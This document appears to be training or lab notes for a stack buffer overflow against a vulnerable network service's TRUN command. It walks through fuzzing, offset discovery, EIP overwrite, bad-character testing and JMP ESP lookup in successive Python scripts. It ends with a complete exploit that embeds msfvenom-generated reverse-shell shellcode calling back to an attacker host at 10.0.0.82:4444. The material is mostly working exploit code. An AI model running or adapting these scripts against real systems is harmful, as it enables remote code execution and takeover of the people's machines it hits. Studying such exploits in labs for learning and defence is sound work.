Buffer Overflows

Steps :

1. Fuzzing

2. Finding the Offset

3. Overwriting the EIP

4. Finding Bad Characters

5. Finding the JMP ESP address

6. Exploiting the System

1. Fuzzing

#!/usr/bin/python
# -*- coding: utf-8 -*-
#!/usr/bin/python

import sys, socket

buffer = "\x41" * 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.71', 9999))
s.send(('TRUN /.:/' + buffer))
s.recv(1024)
s.close()

2. Finding the Offset

Cmd :

• msf-pattern_create -l 3000

• msf-pattern_offset -q 386F4337

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.0.71', 9999))
    s.send('TRUN /.:/' + offset)
    s.close()
except:

    print('Error connecting to server')
    sys.exit()

3. Overwriting the EIP

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import socket

shellcode = 'A' * 2003 + 'B' * 4

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.0.71', 9999))
    s.send('TRUN /.:/' + shellcode)
    s.close()
except:

    print('Error connecting to server')
    sys.exit()

4. Finding the bad Characters

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

#!/usr/bin/python
import sys, socket

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = "A" * 2003 + "B" * 4 + badchars

try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(('10.0.0.71',9999))
	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:
       print("Error connecting to server")
       sys.exit()

5. Finding the JMP ESP Instruction Address

To Find JMP ESP :

• jmp -r esp

Alternate Way :

• !mona modules

• !mona find -s "\xff\xe4" -m essfunc.dll

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import socket

shellcode = 'A' * 2003 + "\xaf\x11\x50\x62"

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.0.71', 9999))
    s.send('TRUN /.:/' + shellcode)
    s.close()
except:

    print('Error connecting to server')
    sys.exit()

6. Exploit

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.82 LPORT=4444 EXITFUNC=thread -f py -a x86 -b "\x00"

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import socket

overflow = (
"\xb8\x0c\x65\xe6\x11\xda\xd9\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x31\x42\x12\x83\xea\xfc\x03\x4e\x6b\x04\xe4\xb2\x9b\x4a"
"\x07\x4a\x5c\x2b\x81\xaf\x6d\x6b\xf5\xa4\xde\x5b\x7d\xe8\xd2"
"\x10\xd3\x18\x60\x54\xfc\x2f\xc1\xd3\xda\x1e\xd2\x48\x1e\x01"
"\x50\x93\x73\xe1\x69\x5c\x86\xe0\xae\x81\x6b\xb0\x67\xcd\xde"
"\x24\x03\x9b\xe2\xcf\x5f\x0d\x63\x2c\x17\x2c\x42\xe3\x23\x77"
"\x44\x02\xe7\x03\xcd\x1c\xe4\x2e\x87\x97\xde\xc5\x16\x71\x2f"
"\x25\xb4\xbc\x9f\xd4\xc4\xf9\x18\x07\xb3\xf3\x5a\xba\xc4\xc0"
"\x21\x60\x40\xd2\x82\xe3\xf2\x3e\x32\x27\x64\xb5\x38\x8c\xe2"
"\x91\x5c\x13\x26\xaa\x59\x98\xc9\x7c\xe8\xda\xed\x58\xb0\xb9"
"\x8c\xf9\x1c\x6f\xb0\x19\xff\xd0\x14\x52\x12\x04\x25\x39\x7b"
"\xe9\x04\xc1\x7b\x65\x1e\xb2\x49\x2a\xb4\x5c\xe2\xa3\x12\x9b"
"\x05\x9e\xe3\x33\xf8\x21\x14\x1a\x3f\x75\x44\x34\x96\xf6\x0f"
"\xc4\x17\x23\x9f\x94\xb7\x9c\x60\x44\x78\x4d\x09\x8e\x77\xb2"
"\x29\xb1\x5d\xdb\xc0\x48\x36\xee\x14\x52\x94\x86\x16\x52\x09"
"\x0b\x9e\xb4\x43\xa3\xf6\x6f\xfc\x5a\x53\xfb\x9d\xa3\x49\x86"
"\x9e\x28\x7e\x77\x50\xd9\x0b\x6b\x05\x29\x46\xd1\x80\x36\x7c"
"\x7d\x4e\xa4\x1b\x7d\x19\xd5\xb3\x2a\x4e\x2b\xca\xbe\x62\x12"
"\x64\xdc\x7e\xc2\x4f\x64\xa5\x37\x51\x65\x28\x03\x75\x75\xf4"
"\x8c\x31\x21\xa8\xda\xef\x9f\x0e\xb5\x41\x49\xd9\x6a\x08\x1d"
"\x9c\x40\x8b\x5b\xa1\x8c\x7d\x83\x10\x79\x38\xbc\x9d\xed\xcc"
"\xc5\xc3\x8d\x33\x1c\x40\xad\xd1\xb4\xbd\x46\x4c\x5d\x7c\x0b"
"\x6f\x88\x43\x32\xec\x38\x3c\xc1\xec\x49\x39\x8d\xaa\xa2\x33"
"\x9e\x5e\xc4\xe0\x9f\x4a")

shellcode = 'A' * 2003 + "\xaf\x11\x50\x62" + '\x90' * 32 + overflow

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.0.71', 9999))
    s.send('TRUN /.:/' + shellcode)
    s.close()
except:

    print('Error connecting to server')
    sys.exit()